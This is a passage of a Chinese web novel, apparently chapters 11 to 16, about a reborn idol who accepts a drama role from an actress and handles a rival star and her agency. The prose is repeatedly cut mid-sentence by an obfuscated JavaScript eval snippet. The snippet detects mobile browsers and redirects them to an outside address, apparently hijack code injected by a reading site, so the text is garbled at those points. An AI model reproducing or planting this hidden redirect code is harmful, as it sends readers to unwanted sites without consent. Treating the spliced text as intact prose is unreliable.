“可你不怕我搞砸吗？这个角色很重要，又是黎导的作品。”祝星亦还是有点担忧。 想要争取机会是对的，但不能站在破坏他人作品的基础上。祝星亦怎么说也是个有良心的人。 苏寄欢没有回答这个问题，她饮了口茶，慢慢看向祝星亦，“《周，友》后台厉肆打你那一下，疼不疼？” 祝星亦被问住了。 祝星亦犹豫了会儿说：“疼。” 又反问：“你怎么知道这个事？容羽珍跟你说的吗？” “节目导演跟我说的，陈导和我比较熟。” “哦。”祝星亦想也知道容羽珍不可能跟外人说这事，容羽珍只会觉得她丢人。 祝星亦轻瞄了下苏寄欢问：“所以，怎么了？” 苏寄欢放下瓷杯道：“他本来要演一个章节的角色，陈导跟我说了之后，我跟黎导商量把他换下去了。” 祝星亦一愣，“为什么？” “算是一份心意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392524|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “拿这个道德绑架我？” 苏寄欢挑眉，忽然笑出声，“这也算？” “怎么不算？”祝星亦觉得很不妙，“你还想拿什么绑架我？” 苏寄欢定定地看着祝星亦，始终沉默着，许久，才慢吞吞开口：“那可能只剩我的真诚了。” “没看到。” “？” 于是，沉默震耳欲聋。 被噎住后，苏寄欢攥紧手指，想破脑袋要说些什么，终是一个字也没说出口。 她是觉得祝星亦有点意思才递上橄榄枝的，没想到，这个祝星亦太有意思了。 “如果你拒绝的话，那真是让你白跑一趟了。”苏寄欢说着欲要起身送客。 祝星亦撑着下巴慢悠悠道：“我没说我拒绝。” “OK，好的。”苏寄欢勾着头坐下，“然后呢？” “我不想耽误Shinyfive的活动，我需要你跟黎芷恩商量我在剧组的拍戏时间。”祝星亦知道不该这样做，拍戏就认真拍戏，不能耽误其他演员的时间。 但她还是不想缺席Shinyfive的一些活动，她有愧于Shinyfive。 若不是被晏瑾年骗着提前单飞，Shinyfive也不至于那么早解散。 苏寄欢点头：“可以。” “那行，谢谢苏老师，我会好好诠释这个角色。” 得到这个答案，苏寄欢展眉道：“那期待合作。” 两只手交握，达成合作。 起身，苏寄欢拎了盒东西递给祝星亦，“里面是玫瑰酥和碧螺春茶叶，不能让你空手回去。” 点她空手来？ 祝星亦不情不愿接下。 “进组就自动变成师生关系，过几天我会给你布置一些作业，我会亲自指导你。”跟着走到门口，苏寄欢垂眸看祝星亦，“你放心，我不会让你没有收获，也不会让你诠释不好［阿星］这个角色。” 祝星亦点点头，“知道了，谢谢你。” “慢走。” 转身出门，祝星亦回眸，望见苏寄欢挽着头发的簪子，主动夸赞，“你簪子还挺好看的啊。” 话音刚落，苏寄欢抬手拔下挽着发的玉簪。 乌发如同黑色的绸缎一般顺滑地垂落下来，在灯下闪着光泽，一缕发丝落在她的脸颊旁，添了几分慵懒的美。 玉簪在苏寄欢修长的指间转动，最后递交祝星亦身前，“好看就送你了。” 12. 第 12 章 “送给我？”祝星亦万万不敢想苏寄欢竟要把这根簪子送她，“这么大方？” 通体晶莹的雕花白玉，贵气淡雅，光看色泽就知道不便宜。 苏寄欢动了下手腕，示意她收下，“当是老师给你的见面礼。” 祝星亦推辞不过，想着苏寄欢这么大方肯定不差这一根簪子，抬手收下放进袋子里。 道谢过后本要离去，祝星亦提溜着纸袋犹豫片刻，抬眸对上苏寄欢沉静的眼，“如果你想知道我喜欢什么，你可以直接问我。” 苏寄欢一怔，不知祝星亦为何突然这样说。 祝星亦快步走到她刚刚注意到的纸笔处，抄起一张小纸在上面写下自己的联系方式。 “我的联系方式。”祝星亦放下袋子双手递上小纸片，“进组就变师生了，总不能连个微信都不加，常联系，试着了解彼此。” 苏寄欢收下后看了眼那串数字，垂到胸前的发晃了个小弧度，她道：“行，常联系。不过，目前我从你身上只了解一样东西。” 祝星亦问：“是什么？” “你喜欢晏瑾年，你想攀附她。” 祝星亦也不否认，她觉得她现在和苏寄欢摊牌什么的完全可以，不必在这个女人面前有过多隐瞒：“苏老师真聪明。” 苏寄欢握着折好的纸片说：“《寄明月》和《辞旧赋》都在鑫央影视城拍摄，两部戏的开拍时间也差不多，有空的话我可以带你去她剧组转转。” “谢谢你。”祝星亦由衷道。 苏寄欢颔首：“举手之劳。” 坐回车里，祝星亦拿出玉簪反复观看。 簪子上还有苏寄欢头发的香味，她抬手嗅了嗅。 能给自己资源的话……这人好像也不算太坏。 祝星亦要出演［阿星］一角的消息很快就被放出来，队友得知此事后大为惊讶。 林芮佳风风火火拉着祝星亦问来问去，实在不知祝星亦怎么忽然要去拍戏了。 费若澄伤感道：“我们这团刚组就要各自飞了吗？” 事实上几人也明白内娱舞台少，限定团Shinyfive做不到一直在舞台上活跃，但几人很珍惜在舞台上表演的时光。 沈桑言赶忙过去拍拍费若澄的背说：“怎么说这些丧气话？咱们不都还有综艺的吗？过段时间还有新歌要出，忙得很，而且星星又不是不回来了。” 沈桑言起身走到祝星亦面前拉住祝星亦的手笑说：“我们多去看看星星就好。星星，你放心，等我们不忙了，一定去剧组探班。” 夏诗晴举手道：“我们四个到时候一起去，给星星涨涨士气。” “那就提前感谢你们咯。”祝星亦笑说。 网友却没那么客气。 不管是书粉还是路人，对祝星亦要演［阿星］一角大骂特骂。 ［苏寄欢合适，祝星亦谁啊？爱豆演什么戏啊！真是两眼一黑］ ［内娱真的找不出正常的演员和鸭鸭搭戏了吗？裂开，感觉整个剧都变劣质了］ ［什么世道，猪婆都能跟sjh搭戏了］ ［死猪怎么后台那么大！又土又穷还营销狐狸千金人设，现在竟然进组拍戏，到底谁在捧她啊！］ ［已把苏寄欢拉黑，她跟祝星亦这种人搭戏，证明她人也不咋样］ ［等剧播了我只看苏女神cut，死猪我一眼都不会看的！］ 看了这些评论，祝星亦关掉手机没有去理会。 没等多久，苏寄欢发来了进剧组的注意事项。祝星亦的住宿被安排在鑫央影视城附近的五星级酒店里，日常出行有专配的车。 这苏寄欢还挺有诚意。 她翻看酒店信息，配置很不错，想必不会再有私生饭进来了。 前世她单飞之后转型做演员，第一次演戏饰演的只是一个镶边炮灰角色，剧组安排她住在普通酒店。有一天私生饭悄悄潜藏进来，祝星亦刚回到屋子，就被私生饭吓得差点昏厥过去。 她跟剧组人说这件事，那些人只怪她没关好门，一直都对她不上心的助理也责怪她。当时她很想把这件事告诉晏瑾年，可是晏瑾年工作繁忙，她也觉得自己能得到一个角色已经很感激了，于是就把这些委屈默默咽进了肚子里。 她第一次演戏没什么经验，加上是被晏瑾年安排进来的，导演看到她的表演并没说什么，但之后她就再也没有和这个导演合作过。 直到有一天她看到了这个导演的采访，导演当着主持人的面公然大骂那部剧的流量资源咖，她这才反应过来，导演那时那么讨厌她。 网友骂，导演也骂，第一次演戏的结果就是全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392525|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网黑，还被寄虫子和动物残肢，导致那段时间祝星亦都不敢出门。 啧，怎么又开始回忆过去了。祝星亦掐自己一把，得忘记过去。 她深呼一口气，快速打字感谢苏寄欢：【苏老师，谢谢你】 苏寄欢：【举手之劳】 祝星亦躺在床上点开苏寄欢的朋友圈，三天可见，最新的一条是昨天发的。 文案：心有千千结，遥寄星与月。 配图：《寄明月》原著小说＆剧本封面 祝星亦给这条朋友圈点了个赞。 点完觉得不太合适，马上取消。 取消了感觉自己不点赞有点不太礼貌，又赞回去了。 赞完还是觉得不太礼貌，祝星亦便打字评论两个表情，一个弯月，一个星星。 刚评论完，苏寄欢那边回复了她。 也是一个表情，玫瑰。 好老气的回复。 祝星亦皱着眉头退出苏寄欢的朋友圈。 叮咚，一条消息弹了出来。 竟然是晏瑾年的。 祝星亦立刻坐直身子查看晏瑾年的消息。 晏瑾年：【你要演《寄明月》了？】 祝星亦思索几秒回复：【是的，前辈。】 对方正在输入中显示了一会儿，晏瑾年的消息又发来。 晏瑾年：【明天有空吗？】 祝星亦：【有空的，前辈要约我吗？】 晏瑾年：【（餐厅地点）】 晏瑾年：【请你吃顿饭】 祝星亦挑起一侧眉，摸了摸下巴。怎么可能吃饭这么简单？不过晏瑾年主动约她倒是个惊喜，看来好感度提升了。 她忙起身去挑衣裙。 次日刚化完妆，晏瑾年的消息发了过来。 晏瑾年：【我在你们公寓南门等你】 竟然来亲自接她，这么在乎？祝星亦停下涂口红的手，望着镜中的自己自言自语：“鱼儿这么快就上钩了？” 艺域公寓南门—— 南门处停着一辆宾利欧陆，车内戴墨镜的女人身穿绸质宽松衬衫，白裤深咖腰带，脚穿黑色漆皮短靴，慵懒地靠在椅背上看手机，长发懒懒地披在脑后，气定神闲。 余光里一个身影闯进来，晏瑾年放下手机抬眸看不远处。 13. 第 13 章 暮春轻灵的光点亮四面的风，熏得晏瑾年有点倦意。 路上行人三三两两，几树宫粉紫荆还开着艳丽的花儿。阳光透过薄云洒落下来，柔和微淡的树影含着几缕光彩笼在祝星亦身上，让人无端生了些闲情。 蓬松的墨发，妆容淡淡，藕色系带挂脖长裙勾勒出完美的腰臀比，银白色的长项链垂至胸前，脚下的裸色高跟鞋温柔可人。 晏瑾年抬起右手，修长的手指撑着下巴，直直地看着祝星亦。片刻之后，她取下墨镜单手拉开车门，动作流畅且带着与生俱来的贵气，快步从车里出来。 哒哒。 祝星亦站在她的面前。 晏瑾年微微歪头，目光从祝星亦的脸开始，缓缓向下打量着。旋即，嘴角勾起淡淡的笑意，声音带着一丝慵懒却又透着上位者的审判：“很漂亮。” 祝星亦背着一只瓷白的手臂朝晏瑾年微笑，“谢谢前辈的夸奖，前辈也很……” 她扫了眼晏瑾年，微张的红唇抿了下，没有继续说下去。 晏瑾年问：“我如何？” 祝星亦脚步移了移，凑在晏瑾年耳畔轻声道：“前辈也很让我心生欢喜。” 香气从这只狐狸身上传来，耳垂的温度被话语的呼吸点燃。视线交织，晏瑾年眼底闪过不易察觉的光亮。 晏瑾年率先打破令人有些沉醉的氛围，她转身去副驾处拉开车门，动作优雅，眼神却始终没有离开祝星亦。祝星亦微微欠身，提着裙子坐进车里。 车内的装饰简约又高级，米白色的真皮座椅，中控台采用了暗黑色的磨砂材质，线条简洁流畅，没有丝毫的冗杂之感。 祝星亦扣上安全带，侧头看向晏瑾年，轻声问道：“前辈，怎么今日约我用餐？” 晏瑾年单指勾了下发，道：“先前你说要约我吃饭，我等不到，只能亲自约你。” 祝星亦抱歉道：“啊，不好意思，最近有些忙。” 车子缓缓启动驶离公寓南门。绿化带的花草郁郁葱葱，偶见几抹艳色，恍若美人曳长的裙摆。 晏瑾年专注开车，瞥了眼副驾的祝星亦，“最近活动很多吧？” 祝星亦点头老实回答：“嗯，最近接了不少通告，还要准备出演《寄明月》，一直在忙相关的事情呢。” 晏瑾年并未提及《寄明月》一事，虽然她是为了这个剧才大费周折邀约祝星亦。 随意聊了几句，［贝洛丝餐厅］越来越近，导航时不时传来即将到达目的地的提示音。 坐到预定位置上，晏瑾年将菜单递给祝星亦，“你先点。” 祝星亦接过菜单，垂眸看了看，“我要杂蔬青酱汤，黑松露厚切牛舌，香煎海鲈鱼，炭烤羊排。” 说完，她合上菜单，递给侍者，直视晏瑾年：“然后再要一瓶贝加西西里。” 桌下，她移了下腿，高跟鞋的鞋尖缓缓触碰到了晏瑾年粗跟短靴的鞋面。 感受到鞋面上的压力，晏瑾年神色如常，她适时移开目光，拿过菜单又点了其他菜。 用餐时，两人才开始正式谈事。 晏瑾年切着牛排，稍稍抬眸漫不经心问：“你怎么忽然要演《寄明月》？” 晏瑾年竟不知苏寄欢和祝星亦这么熟，难不成这个祝星亦也用同样的方式勾搭苏寄欢了？ 祝星亦垂首回答：“是苏老师和黎导邀请的，她们都很热情，我哪里敢推辞。” 苏老师？ 听她喊苏寄欢这个称呼，晏瑾年心里觉得不太舒服。 晏瑾年皱了下眉头，“你和苏寄欢认识？” 祝星亦歪了歪头，眼睛里带着一丝探究，反问道：“一面之缘罢了，前辈很关心我出演《寄明月》吗？” 她一边说着，一边调整了下自己的坐姿，显露出精致的锁骨，肩膀微微倾斜，“还是说，前辈不希望我出演？” 晏瑾年轻抿一口酒，放下酒杯后说：“倒不是关心，只是对这件事好奇。你可能不太了解苏寄欢，她这个人……” 闻言，祝星亦带着一丝好奇问：“前辈很了解苏老师吗？” “了解一点，毕竟也认识十多年了。”晏瑾年想到第一次在国外遇见苏寄欢时，苏寄欢落魄、可悲、凄惨的模样，心里嘲讽了一下，然后看着祝星亦说：“你要是跟她一起搭戏，她倒是个好 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车子缓缓行驶，终于到了公寓门口。晏瑾年轻轻拍了拍祝星亦的肩膀，说要送她上去。 祝星亦的脸颊依旧红红的，她摇了摇头，声音低软：“前辈，不用送我，我可以的。” 其实她心里很清楚晏瑾年的心思，什么送人上去，只是客套罢了。 南门这边安保森严，狗仔根本进不来，晏瑾年就是想把自己摘得干干净净的，在公众面前不和任何人有过多的牵扯，像今天选的餐厅就是私人包间。 做事不留痕迹，不让人抓住一点小辫子。这就是晏瑾年。 晏瑾年听了她的话，也没有再坚持，只是说：“那你注意安全。” 关上车门，看着晏瑾年的车渐渐离开，祝星亦翻了个白眼往公寓里走去。 应付晏瑾年是一件苦差事，她疲惫地踩着高跟鞋回到房间，一进门便随意踢了鞋，光着脚趴到沙发上。 消息传来。是沈桑言的。 沈桑言：【星星，你过段时间进组，要不要去拜一拜？】 祝星亦：【拜一拜？】 14. 第 14 章 沈桑言：【是啊，进组拍戏可不是什么小事，拍戏时的意外很多，先去寺庙或道观里求一求平安。】 祝星亦想了想，觉得沈桑言说得也有道理。 祝星亦：【行啊，你给我推荐几个寺庙或道观】 沈桑言：【好】 祝星亦从沈桑言推荐的几个地方里选了好几处，其中清心观人气特别旺盛。 前世她就跟晏瑾年去过这个清心观，虽说她现在不太想去那里，可又不得不承认那儿确实很灵验。 她曾到那里求过愿，希望自己能够成为出演众多作品的大明星，后来还真的演了一部一番剧，也算是实现了心愿。 虽然献祭了一条命，但总归是实现了。 进剧组之前，祝星亦还得处理下酒店住宿的事，届时助理张静怡会跟着她，负责处理她衣食住行各方面的安排。 成团后风荇给她配了助理，张静怡。但张静怡这人蔫儿坏，对她不管不问不说，还开小号黑她，天天追另外一个明星，什么麓圈大小姐，喜欢得不行。 前世有一次拍戏，张静怡还把她丢山上，差点冻死她。跟风荇说要换助理，风荇死活不给她换，鬼知道那五年她是怎么过得啊。 这个张静怡不能留，但现在又甩不掉，只能先用着。 祝星亦挠挠头翻看和孙闵莉的聊天记录，接到角色之后，她就让艺域再给她找个助理，但到现在都没有找到的回复。 晚上，她敲响孙闵莉办公室的门。 提到助理一事，孙闵莉脸上堆满了歉意，“星亦啊，真是不好意思。你这次进组实在是太突然了，公司这边没有多余的人手能安排给你呢。我们早就挂了招聘信息，希望能尽快招到人。” 孙闵莉的助理应思思也在一旁附和着说：“你进组拍戏可是公司的头等大事，给你招新助理，公司肯定是要严格筛选，你可得理解公司对你的重视啊。” 祝星亦在心里暗自冷笑，从接到进组通知到现在，这都差不多快一个月了，一个月的时间还招不来一个人吗？这明摆着就是不想给自己招人嘛。 祝星亦对她们口中所谓的“重视”厌烦得很，但还是努力在脸上挂着微笑，“我特别感谢公司对我的重视，可是你们也知道，黎导那人要求特别严格，做事也很一板一眼。我进组之后肯定会忙得晕头转向，如果因为人手不够哪里没做好，给咱们公司抹黑了，黎导肯定也会不高兴。” 孙闵莉和应思思对视了一眼，没有吭声。 祝星亦接着又说：“我听说容总那边给这个剧组介绍了三个艺域的演员呢，我看他们有人配了三个助理。他们演的也不是什么戏份特别多的角色吧，我可是二番啊。” 孙闵莉的脸色有点不太好看，她没想到祝星亦的消息竟然这么灵通。 这祝星亦不过就是演个丫鬟的角色罢了，还想再要个助理？想得倒美。 应思思赶忙说道：“星亦啊，你看你能出演这个二番的角色，公司可是出了不少力呢。公司这么重视你，肯定不会亏待你。” 孙闵莉也跟着说：“是啊，我这边会催催HR，在开拍之前肯定给你配好助理。” “什么时间会给我找到？”祝星亦不想跟她们纠缠，“ddl给我一个。” “这……”孙闵莉和应思思对视一眼，“这可说不准。” “你们要是说不准的话，我这边跟苏寄欢反映一下。”祝星亦单手插兜，侧过身子，“如果我不出演这个角色，艺域那三个人也别想塞进去了。” “你！”孙闵莉听到祝星亦这话，脸色瞬间阴沉下来。 孙闵莉知道祝星亦所言非虚，苏寄欢大费周折邀请她演，肯定是看中她身上的东西。要是她真跟苏寄欢反映，艺域那三人参演的事儿大概率要黄。 极不情愿地跟应思思对视一眼，孙闵莉咬着牙，应思思扯出个比哭还难看的笑，几乎同时开口：“行，下周，下周肯定给你找到助理。” 祝星亦快步离开办公室。 应思思和孙闵莉瞥了一眼关上的门，两人就在那儿聊了起来。 应思思撇了撇嘴，露出刻薄的模样，说道：“还想多要一个助理呢，她怎么不要十个助理啊？” 说着就联系起HR，还说：“等她开拍之前，给她招个3000块的实习助理就行了，反正她也不能拿我们怎么样。” 孙闵莉也是一脸刻薄相，“她也不看看自己是个什么角色，演个丫鬟而已，还想把她供起来吗？从风荇出来的小艺人就是心比天高。她能在艺域发展，都算是烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392527|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了高香了。还多要一个助理，哼，真是做美梦。” 这么应付？门外的祝星亦听到她俩的话，气得浑身发抖。 根本指望不上，她握着拳头快步离开。 死了她都没那么委屈，现在碰到这事儿她委屈得不行。 在这个所谓的大公司里，她得不到丝毫的尊重和应有的待遇。得到的只有那些人画的大饼，和天天挂在嘴边却没有出现过的重视。 即便她为艺域和风荇都付出很多，即便她低头求他们给自己保障，她仍是什么都得不到。她只是一个赚钱的机器，只是他们的傀儡。 合同就是她的五行山，什么时候来个人把咒给她撕了啊。 愁死了。 她没办法，只能自己试着找找助理。 可一看余额，又泄了气。 她的工资发放流程烦琐，艺域、风荇层层克扣，到手所剩无几，想招靠谱助理远远不够。 不行，必须找个靠谱助理。 祝星亦趴在床上，正规划着该怎么给自己招一个助理，手机屏幕突然亮了起来。 是苏寄欢发来的消息。 苏寄欢：【下周五前要入住卡尔姆酒店，带好你需要的东西。】 祝星亦原本有些混沌的脑子被这消息一搅，瞬间清醒了些。 她伸手揉了揉有些酸涩的眼睛，手指在手机屏幕上快速地回复：【好，谢谢苏老师提醒。】 回完消息后，祝星亦又重新躺回床上，继续看着手机上关于招聘助理的信息。 手机又震动了一下，还是苏寄欢发来的消息。 苏寄欢：【刚看到艺域在招艺人助理，你的助理够吗？】 祝星亦看到这条消息，犹豫了一下，回复道：【够。】 苏寄欢似乎并不打算轻易放过这个话题，很快又发来消息：【几个？】 祝星亦盯着手机屏幕，叹了口气，无奈地回复：【一个。】 发完这条消息后，苏寄欢就没有再回复。 祝星亦继续在手机上扒拉着招助理的注意事项，看得入神，手机突然又震动了一下。 苏寄欢推送了一个联系人过来。 苏寄欢：【秦永欣，我熟人，是个很专业的艺人助理，借你了。】 15. 第 15 章 祝星亦忽然从床上坐起来，眼睛紧紧盯着手机屏幕，手指在键盘上快速地敲打起来。 打了一堆字，看着觉得不妥，又删掉，重新打，如此反复，始终没能发出一条完整的消息。 苏寄欢这边又发来了消息：【她正好这段时间有空，可以跟着你到拍戏结束，去酒店那天我带你认识认识她，你先加她。】 脑子有点混乱。 现在祝星亦太需要一个助理，太需要一个正常助理。 因为太需要，她已经不想细想苏寄欢为什么愿意借给她一个助理。 只知道心里暖乎乎的，热热的。 苏寄欢见她没有回应，接连发来了几条消息。 苏寄欢：【怎么了？】 苏寄欢：【还是说你这边有其他安排？】 苏寄欢：【你要是对她或者对我不信任，我明天带她和你见见】 苏寄欢：【在吗？】 还没等祝星亦反应过来，苏寄欢发起了语音通话申请。 祝星亦深吸一口气，按下接听键：“喂，苏老师。” 苏寄欢沉静的声音从听筒传来：“你这边有什么考虑吗？进组只有一个助理可忙不过来，你可能不太熟悉拍戏的复杂程度，黎导这个剧有很多实景，我们后面可能要去外场补镜头，到时候……” 祝星亦听着苏寄欢的话，心里满是感动，“谢谢你苏老师，谢谢你。” 她停顿了一下，像是在给自己打气，接着说道：“我下周五跟秦小姐见面好了。” 听到祝星亦的回答，苏寄欢这才放下心来，“好，到时候见。” 祝星亦挂断电话后重新躺回床上，她把枕头拿起来放在自己脸上，终于忍不住放声大哭起来。 别人重生秒天秒地秒空气，怎么她重生之后还这么窝囊呢？ “不对啊，我刚出道就去演大制作的二番了，我这窝囊什么？”祝星亦坐起来擦干眼泪自言自语，“我现在出演二番，我下次就是一番。今天我是没有人知道的小爱豆，明天我就是奥斯卡最佳女演员。什么这个影后那个影后，以后我也是影后。谁稀罕啊？” 祝星亦猛地扔掉枕头，拍拍胸脯：“而且就算我现在窝囊又怎么了？我会舔，我会抱大腿，我会争取资源。我，祝星亦，一定会成为大明星的。” 她捶了下床，野心在眼底蔓延，“TomorrowI''llbeasuperstar.Yeah～～” ～～～ 去酒店前两天，祝星亦独自前往清心观。 清心观坐落在清心山上，她刚抵达山脚的时候，瞥见另一个山腰处也有一座小道观。 以前也有这个道观，但她没怎么在意过。 她向附近的人打听，附近的人告诉她那是鹿芜观，说是一个很小的道观，平日里没什么人去。观附近还有个鹿场，山路上可能会有鹿出现。 祝星亦听后，忽然改变主意。 她不想再去清心观。 前世求个星途还把自己命搭了，这辈子肯定不能再去那里求，于是换了路线朝着鹿芜观走去。 沿着阶梯朝山腰处走，山林的石阶有了些年头，树影晃动，忽明忽暗，云端是鸟鸣风吟，有小鹿出现在山林里，好奇地盯着祝星亦看。 她抹了把头上的汗，踮脚探头看前方。草木荫荫，人间已初夏。 死的时候是麓城的春天，没想到现在还能看到麓城的夏天。 她哼着歌，继续向前。 登入鹿芜观没发现售票处，跟游客确认了下，免费开放。 与热闹的清心观相比，这里显得格外冷清。也许正是因为清心观人气太旺，把原本可能会来这儿的香客都吸引走。 道观不大，进去是两排祈福钟，顶端垂着些红布条。观里有几棵树，树上稀稀拉拉地挂着几个福牌，屈指可数。 最大的那棵树挂了很多布条，还有一些祈福牌，算是整个观里最好看的景色。 道观虽小且人少，但环境很干净，有几个老人在上香，神情无比虔诚。 祝星亦寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392528|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人问了问，鹿芜观的香是免费提供，观里供了九天玄女娘娘。 她便拿过香去娘娘观里拜，左手持香，恭恭敬敬地拜了三下，然后将三炷香一一插入香炉，接着抱拳拜了三次，最后又拜了三次，这才完成了仪式。 虔诚地站在玄女娘娘像前，祝星亦思绪纷飞。 她其实没有太多复杂的心愿，只是希望这次拍戏能够顺顺利利。如果多点贪心的东西，那就是希望未来星路顺利。 还有，这一世不要再经历前世那般让人心碎的姻缘了。 这一世，她一定要寻得良缘。寻不到的话，那就换星途璀璨好啦。 想到这儿，祝星亦叹了口气，转身准备离开。 有人敲响了祈福钟，一个一个地敲，清脆的声音此起彼伏。 比起春日柔和的光，夏日的光更清，更透，更闪着生命的暴烈和炽热。无数个夏天里，她想获得一次属于自己的灿烂，只是她死在了麓城的春日。 而从这个夏天开始，她是否能争取一次璀璨的开篇。 祝星亦眨了眨眼，光影透过树影投下一行行段落，带着振翅的蝶写下夏日的序言。 不远处抱着芍药和栀子花的女人，长长的素色发带绑着低侧马尾，发带的末梢随风飘动。 女人身着松绿色中式长裙，同色开衫松松垮垮披在身上，衣衫上的带子随意系着，宽松的袖挽起，露出纤细的手腕上叠戴的清透白玉镯和金镯。 前世总觉得很凌厉的眉眼此时此刻温柔万分，她整个人清清冷冷，骨感又坚韧，单单懒懒地站在那儿，都让人觉得无比可靠。 烟雾缭绕的道观里，蓬松的嫩芽坠落在女人裙角，倒流着，呼呼吹着，懒懒的。 倾斜的夏日，明亮的季节。树影婆娑，人也朦胧。 祝星亦望着那人，一时间有些恍惚。 像许久以前见过，像不真切的梦，像久别重逢的故人。 苏寄欢抱着花朝着祝星亦走去，声音里满是惊讶：“祝星亦？你怎么在这儿？” 16. 第 16 章 柚子花香扑面而来。 祝星亦嗅了嗅，往苏寄欢身旁靠近些。 她也好奇，这个道观如此小众，平日里都没几个人来，苏寄欢怎么也到这儿来了？ “我来祈福。”她回答。 她的目光落在苏寄欢手里的花上，忍不住问：“苏老师，你这是……” “哦，供奉鲜花。”苏寄欢浅笑着回答，她撩了下垂到耳边的发丝，笑容在清冷的脸上晕开，格外好看，然后她抽出一枝芍药递给祝星亦。 祝星亦接过，芍药开得很好。 苏寄欢走进道观，将花供奉好，恭恭敬敬地行礼拜了拜，侧过头对她说：“神明喜欢鲜花，要多多供奉才好呢。” 祝星亦盯着那些花看了一会儿，苏寄欢问道：“你刚刚求了什么？” 祝星亦说：“也没求什么特别的，就事业、姻缘这些呗。大家不都求这些嘛。” “姻缘？”苏寄欢像是明白了什么，又接着问，“求你和晏瑾年的吗？” 什么？鬼才稀罕和晏瑾年的姻缘。 祝星亦还没来得及回答，苏寄欢说：“我这儿还有些祈福牌，你要不要写下心愿挂到树上？” 祝星亦道谢。 握着笔想了许久，祝星亦才写下自己的心愿。 写完后，她看到还有一个福牌，便对苏寄欢说：“苏老师，你也写一个呗，咱们一起挂到树上。” 苏寄欢正倚在桌旁等待着，听到这话应了一声“哦”，然后拿过笔。 握着方方正正的红牌子，苏寄欢有些恍惚。 一叠叠阴影像雾一样铺在福牌上，教苏寄欢下不了手去写字。 初夏的蝉鸣响在耳畔，风与蝴蝶萦绕承载心愿的树木。 红牌上出现两行字。 苏寄欢揉揉眼，字不见了。 奇怪。 断断续续的声音在耳畔响起。 ［……你为什么总是许愿……］ ［因为……］ 耳熟的声音。 苏寄欢蹙眉，又是幻觉又是幻听，最近压力太大了吗？ “苏老师？怎么了？”祝星亦出声问。 苏寄欢反应过来，“哦，没什么。” 她拢了下发，认真写下一些字。 祝星亦背过身没去看，苏寄欢写完带她去丢福牌。 “直接丢上去，丢不上去就挂起来。”苏寄欢说。 两人一起将福牌丢了上去，没想到竟都稳稳地挂在树上。两人对视，默契地欣喜。 “苏老师，你写了什么？” 苏寄欢答：“一个祝福。” “给自己的？” “给别人的。” 祝星亦了然，“那那个人的心愿一定会实现。” “哈哈，希望吧。” 坐在木桌旁，祝星亦又问苏寄欢：“苏老师，你怎么会在这里？” 苏寄欢答道：“我在这里做义工，有空的时候就会过来。” “义工？”祝星亦显然很惊讶。 苏寄欢解释：“我有一位特别尊敬的老师，她以前经常来这里做义工，后来她去世了。那之后我就时常过来，不过我也没太多空闲时间，今天好不容易得闲过来，没想到就碰到你了。你又为什么会来这儿？这里很少有人来的。” 祝星亦说：“本来想去清心观，但是觉得那儿人肯定很多，所以就到这儿来溜达了。” 苏寄欢点头说：“是啊，清心观一直都很热闹呢。这里倒是没什么人注意，不过人少也有好处，清静。” 祝星亦笑说：“说不定这里会很灵验呢，人少的话，神明就有时间处理每个人的心愿啦，人多神明可忙不过来。” 听了她的话，苏寄欢觉得这个想法很可爱。 草木摇晃，阳光在初夏的倒影里漫游。 苏寄欢偏头看身旁的姑娘，五官明艳，眼神清澈。轻薄的衣衫落了一缕缕细细的光线，铺开是悬在屋檐的风铃，收束是穿过浓荫的南风。 闲逛完，祝星亦准备离开。 苏寄欢递给她一个姻缘挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张静怡心里暗自鄙夷，这祝星亦从穷乡僻壤出来的，怕是连保姆都没见过。 